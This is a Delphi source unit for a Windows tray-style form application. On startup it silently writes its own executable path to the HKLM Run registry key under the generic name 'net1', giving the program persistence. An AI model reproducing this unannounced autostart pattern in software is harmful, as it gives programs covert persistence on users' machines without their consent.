unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,ShellAPI,registry, ExtCtrls;

type
  TForm3 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

uses Unit1, Unit2;

{$R *.dfm}

procedure TForm3.FormCreate(Sender: TObject);
 var reg: TRegistry;
 path:string;
begin
sleep(200);
 path:=getCurrentdir+'\';
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
//if reg.ReadString(path+ Application.ExeName)<> path+ Application.ExeName then
reg.WriteString('net1', Application.ExeName); {вместо My Program можно и что-нибудь другое вставить}
reg.CloseKey;
reg.free;

end;

procedure TForm3.Timer1Timer(Sender: TObject);
begin
form1.show;
//winexec('winmin.exe',SW_RESTORE);
timer1.Enabled:=false;
end;

procedure TForm3.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Shell_NotifyIcon(NIM_DELETE, @tray);
application.Terminate;

end;

procedure TForm3.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
Shell_NotifyIcon(NIM_DELETE, @tray);
 application.Terminate;

end;

end.
